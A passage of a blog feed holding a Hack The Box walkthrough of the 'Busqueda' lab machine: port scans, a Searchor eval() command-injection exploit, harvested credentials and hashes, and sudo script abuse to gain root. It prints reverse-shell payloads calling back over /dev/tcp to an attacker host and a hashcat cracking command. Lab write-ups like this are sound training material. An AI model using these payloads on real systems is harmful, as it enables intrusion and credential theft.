OS:3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M4E2NNSNW7%CC=
OS:Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=
OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.54 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:10 CEST
Nmap scan report for 10.129.228.217
Host is up (0.027s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 14.48 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:10 CEST
Nmap scan report for searcher.htb (10.129.228.217)
Host is up (0.028s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1008.62 seconds
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-96cd298941e984b424a7d83ffe4c2d3f &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-96cd298941e984b424a7d83ffe4c2d3f &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-96cd298941e984b424a7d83ffe4c2d3f details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-96cd298941e984b424a7d83ffe4c2d3f details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-96cd298941e984b424a7d83ffe4c2d3f");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;



&lt;h3 class="relative group"&gt;HTTP
 &lt;div id="http" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;After then I was greeted with a simple website with a form that lets you pick a search engine and look for data with a selected one.
In the background I ran &lt;code&gt;ffuf -u https://searcher.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt&lt;/code&gt; to look for interesting directories and &lt;code&gt;ffuf -u https://searcher.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H &amp;quot;Host: FUZZ.searcher.htb&amp;quot;&lt;/code&gt; for subdomains. Those results came back empty. There were also no comments in the website code.&lt;/p&gt;
&lt;p&gt;Looking into the POST request with &lt;code&gt;BurpSuite&lt;/code&gt; I noticed that the request changes depending if we check the &amp;ldquo;Auto redirect&amp;rdquo; box.
Without the box checked - &lt;code&gt;engine=DuckDuckGo&amp;amp;query=%2Fetc%2Fpasswd&lt;/code&gt;
With the box checked - &lt;code&gt;engine=DuckDuckGo&amp;amp;query=%2Fetc%2Fpasswd&amp;amp;auto_redirect=&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Manual attempts at LFI didn&amp;rsquo;t work as the website filters &lt;code&gt;/&lt;/code&gt; into their encoded &lt;code&gt;%2F&lt;/code&gt;. I tried using multiple &lt;code&gt;//&lt;/code&gt;, encoding and double-encoding dashes myself and using &lt;code&gt;\&lt;/code&gt; before and after them to confuse the filter, but it didn&amp;rsquo;t work.
I tested for an RFI inputting &lt;code&gt;http://127.0.0.1:80/../../etc/passwd&lt;/code&gt; into different parameters without any results.&lt;/p&gt;
&lt;p&gt;I also looked through the engines to see if there isn&amp;rsquo;t a one that could be taken advantage of but I didn&amp;rsquo;t find such one. Too bad as we can make the server perform requests outside on our behalf and so this seems like such an opportunity for SSRF.
I also can&amp;rsquo;t add custom engines in the POST request itself as it doesn&amp;rsquo;t go through.&lt;/p&gt;
&lt;p&gt;I remembered that I saw IppSec using an SSTI (Server-Side Template Injection) method.
SSTI is a vulnerability when user input is injected into a template engine (Flask uses one) to execute a payload as a template code. Template code is used to generate dynamic text like &lt;code&gt;Hello {{username}}!&lt;/code&gt; to get &lt;code&gt;Hello Azaeir!&lt;/code&gt; and such.
I googled and found few payloads, interestingly when I run one of them it changed the response behavior.
Weirdly enough &lt;code&gt;engine=DuckDuckGo&amp;amp;query=&amp;lt;SSTI payload&amp;gt;&lt;/code&gt; and &lt;code&gt;engine=DuckDuckGo&amp;amp;query='&lt;/code&gt; both give the same empty response. This could be a strong error-based SSTI detection indicator or me just breaking the sites logic.&lt;/p&gt;
&lt;p&gt;I tried a lot of different payloads and approaches to influence the template engine to no avail. I noticed that &lt;code&gt;'&lt;/code&gt; symbol is the one that makes the response blank. I was hoping that it was escaping some placeholder, script, or a function but I think even if it does, I can&amp;rsquo;t seem to take advantage of it.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;As I felt that I have fallen into a small rabbit hole with it, I decided to scope out of it and look for some public exploits. &lt;code&gt;Wappalyzer&lt;/code&gt; found a lot of different components of the website so I went through some of them and Flask itself too. I found some GitHub repos taking about an exploit (Arbitrary CMD Injection) for Searchor 2.4.0 and 2.4.2, this could be what I&amp;rsquo;m looking for.&lt;/p&gt;
&lt;p&gt;Reading up on the vulnerability, it comes from a vulnerable &lt;code&gt;eval()&lt;/code&gt; function which is really funny as I just did the &lt;a href="https://emilpawlak.codeberg.page/posts/htb/craft/" target="_blank" rel="noreferrer"&gt;Craft&lt;/a&gt; machine which also took advantage of this insecure function!&lt;/p&gt;
&lt;p&gt;So, I cloned this exploit to my local machine, run &lt;code&gt;nc -lnvp 1337&lt;/code&gt; and followed the syntax mentioned in the repository and in the script contents and got shell on the target host.
What is actually pretty interesting about this shell is that it uses python as an execution method &lt;code&gt;evil_cmd=&amp;quot;',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment&amp;quot;&lt;/code&gt; for a payload which is actually in encoded bash &lt;code&gt;rev_shell_b64=$(echo -ne &amp;quot;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/$2/${port} 0&amp;gt;&amp;amp;1'&amp;quot; | base64)&lt;/code&gt;.&lt;/p&gt;

&lt;h3 class="relative group"&gt;svc
 &lt;div id="svc" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;On the target machine I was spawned in as a &lt;code&gt;svc&lt;/code&gt; user. I looked manually for some interesting information, found the user flag but nothing at &lt;code&gt;/home&lt;/code&gt; gave me way further although there was a &lt;code&gt;.git&lt;/code&gt; file on it. I went back into the home directory of the user at &lt;code&gt;/var/www/app&lt;/code&gt; and looked around for some other possible priv-esc vectors. In those files I found a &lt;code&gt;.git&lt;/code&gt; folder which holds an initial repo commit data. In this data, I found a &lt;code&gt;config&lt;/code&gt; file which hold a url that links the local repository with a remote one. This link hold embedded credentials for the user cody.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cody:jh1usoih2bkjaspwe92&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I suspect that similar simple security vectors finally made Microsoft enforce a token authentication within GitHub.
Besides the credentials we can also see another subdomain &lt;code&gt;gitea.searcher.htb&lt;/code&gt;. I will add it into &lt;code&gt;/etc/hosts&lt;/code&gt; just in case.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;Cody
 &lt;div id="cody" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s try to authenticate into SSH with the new credentials and hope that the user reused their creds.
Sadly they didn&amp;rsquo;t work on SSH but I accessed &lt;code&gt;gitea.searcher.htb&lt;/code&gt; via browser and authenticated as cody - it went through.&lt;/p&gt;
&lt;p&gt;Gitea seems to be a self-hosted git platform, similar to gogs - which is another similarity to &lt;a href="https://emilpawlak.codeberg.page/posts/htb/craft/" target="_blank" rel="noreferrer"&gt;Craft&lt;/a&gt;
On it, I found a repository where cody and Administrator worked on the searcher webapp. I reviewed the code thoroughly, logic that is used to POST the search request looks quite vulnerable at the first glace.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-Python" data-lang="Python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Engine&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__members__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;arg_list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;searchor&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;search&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg_list&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The script uses &lt;code&gt;subprocesses&lt;/code&gt; library in Python which is generally used to call and execute other tools on the host like &lt;code&gt;nc&lt;/code&gt; to make a script run a listener. This script takes user&amp;rsquo;s input (&amp;ldquo;engine&amp;rdquo; and &amp;ldquo;query&amp;rdquo;) and uses it to run the searchor, then returns its output (or redirects to it) without validating how that tool handles the input. The vulnerable part here is that there are no filters for a user, it supplies user input directly into the function&amp;rsquo;s logic.&lt;/p&gt;
&lt;p&gt;I tried to test some payloads but none of them worked, unfortunately it looks like It won’t work. &lt;code&gt;subprocess.run&lt;/code&gt; passes the input as a literal argument no matter what I put in there and not matter how I try to escape it. My payloads won&amp;rsquo;t get executed unless searchor itself would somehow mishandle them internally but that didn&amp;rsquo;t happen.&lt;/p&gt;
&lt;p&gt;I decided to scope out from the gitea and try to do some more priv-esc enumeration before I ran any automated tools. Running &lt;code&gt;sudo -l -S&lt;/code&gt; I got some information.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Matching Defaults entries for svc on busqueda:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; env_reset, mail_badpass,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; use_pty
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;User svc may run the following commands on busqueda:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; (root) /usr/bin/python3 /opt/scripts/system-checkup.py *&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;It looks like my correct user has full root rights over the &lt;code&gt;/opt/scripts/system-checkup.py&lt;/code&gt; python scripts.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py -h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;SNIP&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Usage: /opt/scripts/system-checkup.py &amp;lt;action&amp;gt; (arg1) (arg2)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; docker-ps : List running docker containers
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; docker-inspect : Inpect a certain docker container
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; full-checkup : Run a full system checkup&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Reading up on the help page, I can see that I can enumerate running containers.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc@busqueda:/$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;in/python3 /opt/scripts/system-checkup.py docker-ps
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;960873171e2e gitea/gitea:latest &amp;#34;/usr/bin/entrypoint…&amp;#34; 3 years ago Up 24 hours 127.0.0.1:3000-&amp;gt;3000/tcp, 127.0.0.1:222-&amp;gt;22/tcp gitea
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;f84a6b33fb5a mysql:8 &amp;#34;docker-entrypoint.s…&amp;#34; 3 years ago Up 24 hours 127.0.0.1:3306-&amp;gt;3306/tcp, 33060/tcp mysql_db&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Seeing the &lt;code&gt;mysql_db&lt;/code&gt; container I looked up what data can be actually inspected, &amp;ldquo;.Config.Env&amp;rdquo; is a metadata field which gives basic configuration information and present variables of the container.
I tried to run it like that &lt;code&gt;sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect .Config.Env mysql_db&lt;/code&gt; but it didn&amp;rsquo;t work. I tried &lt;code&gt;sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect &amp;quot;.Config.Env&amp;quot; mysql_db&lt;/code&gt; but it also didn&amp;rsquo;t work. Finally I found that in Go language, metadata is also parsed with double &lt;code&gt;{&lt;/code&gt;&amp;rsquo;s so I tried with them &lt;code&gt;sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect {{.Config.Env}} mysql_db&lt;/code&gt; and it worked.&lt;/p&gt;
&lt;p&gt;Inside, I actually found some credentials - &amp;ldquo;MYSQL_ROOT_PASSWORD&amp;rdquo;, &amp;ldquo;MYSQL_USER&amp;rdquo; and &amp;ldquo;MYSQL_PASSWORD&amp;rdquo;.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect &amp;#34;{{.Config.Env}}&amp;#34; mysql_db
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;heckup.py docker-inspect &amp;#34;{{.Config.Env}}&amp;#34; mysql_db
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF MYSQL_USER=gitea MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh MYSQL_DATABASE=gitea PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin GOSU_VERSION=1.14 MYSQL_MAJOR=8.0 MYSQL_VERSION=8.0.31-1.el8 MYSQL_SHELL_VERSION=8.0.31-1.el8]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I assume that this is how the credentials should be related.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gitea:yuiu1hoiu4i5ho1uh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;root:jI86kGUuj87guWr3RyF&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I tried to connect to the database with this command, but it didn&amp;rsquo;t work &lt;code&gt;mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306&lt;/code&gt; which is unusual.
Then I tried &lt;code&gt;mysql -u gitea -p -h 127.0.0.1 -P 3306&lt;/code&gt; to no avail.&lt;/p&gt;
&lt;p&gt;I gave up on connecting to the mysql directly, this could be an issue with my shell and spawning another tool locally, so I just run commands one-by-one like so:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc@busqueda:/var/www/app$ mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e &amp;#34;SHOW DATABASES;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;SNIP&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Database
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gitea
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;information_schema
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;performance_schema&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Then I looked at the tables:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e &amp;#34;USE gitea; SHOW TABLES;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;SNIP&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;watch
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;webauthn_credential
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;webhook&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And enumerated user data:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e &amp;#34;USE gitea; SELECT * FROM user&amp;#34;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The information came out really scuffed, so I spent some time formatting it to be actually readable.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;id	lower_name	name	full_name	email	keep_email_private	email_notifications_preference	passwd	passwd_hash_algo	must_change_password	login_type	login_source	login_nametype	location	website	rands	salt	language	description	created_unix	updated_unix	last_login_unix	last_repo_visibility	max_repo_creation	is_active	is_admin	is_restricted	allow_git_hook	allow_import_local	allow_create_organization	prohibit_login	avatar	avatar_email	use_custom_avatar	num_followers	num_following	num_stars	num_reposnum_teams	num_members	visibility	repo_admin_change_team_access	diff_view_style	theme	keep_activity_private
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1	administrator	administrator		administrator@gitea.searcher.htb	0	enabled	ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2	pbkdf2	0	0	0		0			44748ed806accc9d96bf9f495979b742	a378d3f64143b284f104c926b8b49dfb	en-US		1672857920	1680531979	1673083022	1-1	1	1	0	0	0	1	0		administrator@gitea.searcher.htb	0	0	0	0	1	0	0	0	0		auto	0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2	cody	cody		cody@gitea.searcher.htb	0	enabled	b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e	pbkdf2	0	0	0		0304b5a2ce88b6d989ea5fae74cc6b3f3	d1db0a75a18e50de754be2aafcad5533	en-US		1672858006	1680532283	1680532243	1	-1	1	0	0	0	0	1	0cody@gitea.searcher.htb	0	0	0	0	1	0	0	0	0		auto	0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Here&amp;rsquo;s the data in a table:&lt;/p&gt;
&lt;table style="width:100%; table-layout: fixed; border-collapse: collapse;"&gt;
 &lt;tr&gt;
 &lt;th style="width:5%; text-align: center;"&gt;ID&lt;/th&gt;
 &lt;th style="width:10%; text-align: center;"&gt;Name&lt;/th&gt;
 &lt;th style="width:25%; text-align: center;"&gt;Email&lt;/th&gt;
 &lt;th style="width:35%; text-align: center;"&gt;Password&lt;/th&gt;
 &lt;th style="width:10%; text-align: center;"&gt;Algorithm&lt;/th&gt;
 &lt;th style="width:15%; text-align: center;"&gt;Salt&lt;/th&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;1&lt;/td&gt;
 &lt;td&gt;administrator&lt;/td&gt;
 &lt;td&gt;administrator@gitea.searcher.htb&lt;/td&gt;
 &lt;td&gt;ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2&lt;/td&gt;
 &lt;td&gt;pbkdf2&lt;/td&gt;
 &lt;td&gt;a378d3f64143b284f104c926b8b49dfb&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;2&lt;/td&gt;
 &lt;td&gt;cody&lt;/td&gt;
 &lt;td&gt;cody@gitea.searcher.htb&lt;/td&gt;
 &lt;td&gt;b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e&lt;/td&gt;
 &lt;td&gt;pbkdf2&lt;/td&gt;
 &lt;td&gt;d1db0a75a18e50de754be2aafcad5533&lt;/td&gt;
 &lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;What I see here are PBKDF2-HMAC-SHA256 password hashes. I have the password itself, algorythm mentioned and salt but I do not know the amount of the hashing iterations the passwords went through. This information is important to be able to actually crack the password. From my googling it seems like 50000 iterations is a standard.
&lt;code&gt;hashcat -m 10900 'sha256:50000:a378d3f64143b284f104c926b8b49dfb:ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2' wordlist.txt&lt;/code&gt;
I ran this for a long time but nothing came out and it took too long so I pivoted to other possible vectors.&lt;/p&gt;
&lt;p&gt;I thought of &lt;code&gt;xp_cmdshell&lt;/code&gt; but it&amp;rsquo;s only on MSSQL and not on MySQLs. I tried reading and writing files but It didn&amp;rsquo;t work. I checked it with &lt;code&gt;mysql -u root -pjI86kGUuj87guWr3RyF -h 127.0.0.1 -P 3306 -e &amp;quot;show variables like 'secure_file_priv'&amp;quot;;&lt;/code&gt; and it looks that mysql is restricted to only read and write files in &lt;code&gt;/var/lib/mysql-files/&lt;/code&gt;.&lt;/p&gt;

&lt;h3 class="relative group"&gt;Administrator
 &lt;div id="administrator" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Quite disappointingly I ran out of ideas and tried to authenticate with the credentials I have to SSH and later to Gitea. Turns out that Administrator:yuiu1hoiu4i5ho1uh is a valid combo. This is a bit weird as the &amp;ldquo;root&amp;rdquo; password for the DB is different. I guess this just shows that it&amp;rsquo;s important to check every possible combination of acquired credentials.&lt;/p&gt;
&lt;p&gt;I was able to access administrators gitea and enumerate the scripts inside, the one inside is &lt;code&gt;system-checkup.py&lt;/code&gt;.
From the code I learned that the scripts looks for a relative path when running full-checkup and want to run &lt;code&gt;./full-checkup.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I can create a bash reverse shell and rename it to full-checkup.py so that the script reads and executes my shell in process elevating my privileges.
First I create the payload with &lt;code&gt;echo -N &amp;quot;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.15.189/1338 0&amp;gt;&amp;amp;1;'&amp;quot; &amp;gt; full-checkup.sh&lt;/code&gt; change permissions so that it can be executed &lt;code&gt;chmod +x full-checkup.sh&lt;/code&gt; and lastly I start a listener with &lt;code&gt;nc -lnvp 1338&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then when I run &lt;code&gt;sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup&lt;/code&gt; and get a shell as root.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Busqueda introduces a solid code review exercise, working with repositories and custom scripts. It&amp;rsquo;s heavy on careful code enumeration and gradual pivoting granting further access. Very fun and insightful!&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/busqueda/featured.png"/></item><item><title>Craft</title><link>https://emilpawlak.codeberg.page/posts/htb/craft/</link><pubDate>04.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/craft/</guid><description>Craft is a challenging box focused on API abuse, code review, and exploitation of insecure application logic. It required careful analysis of a vulnerable API, understanding how user input flows through the system, and leveraging injection techniques to achieve code execution. It was a tough one for sure, but very much 